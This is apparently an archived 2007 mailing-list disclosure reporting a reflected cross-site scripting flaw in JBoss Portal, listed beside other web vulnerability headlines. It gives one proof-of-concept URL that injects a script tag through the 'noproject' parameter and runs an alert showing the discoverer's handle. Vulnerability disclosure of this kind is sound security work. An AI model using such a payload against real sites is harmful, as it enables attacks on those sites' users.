Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Inertia News Remote File İnclude

XSS in eWay

XSS in lighttpd

XSS in communityserver !

From:	bl4ck_(at)_bsdmail.org <bl4ck_(at)_bsdmail.org>
Date:	13.02.2007
Subject:	XSS in JBoss Portal

hey ..
Vulnerable : JBoss Portal
web : http://jboss.org


XSS :
1-
http://labs.example.org/portal/community?noproject="><script>alert(
'BLacK_ZeRo')</script>


Discovered  By BLacK ZeRo
bl4ck@bsdmail.org

Best regards ,,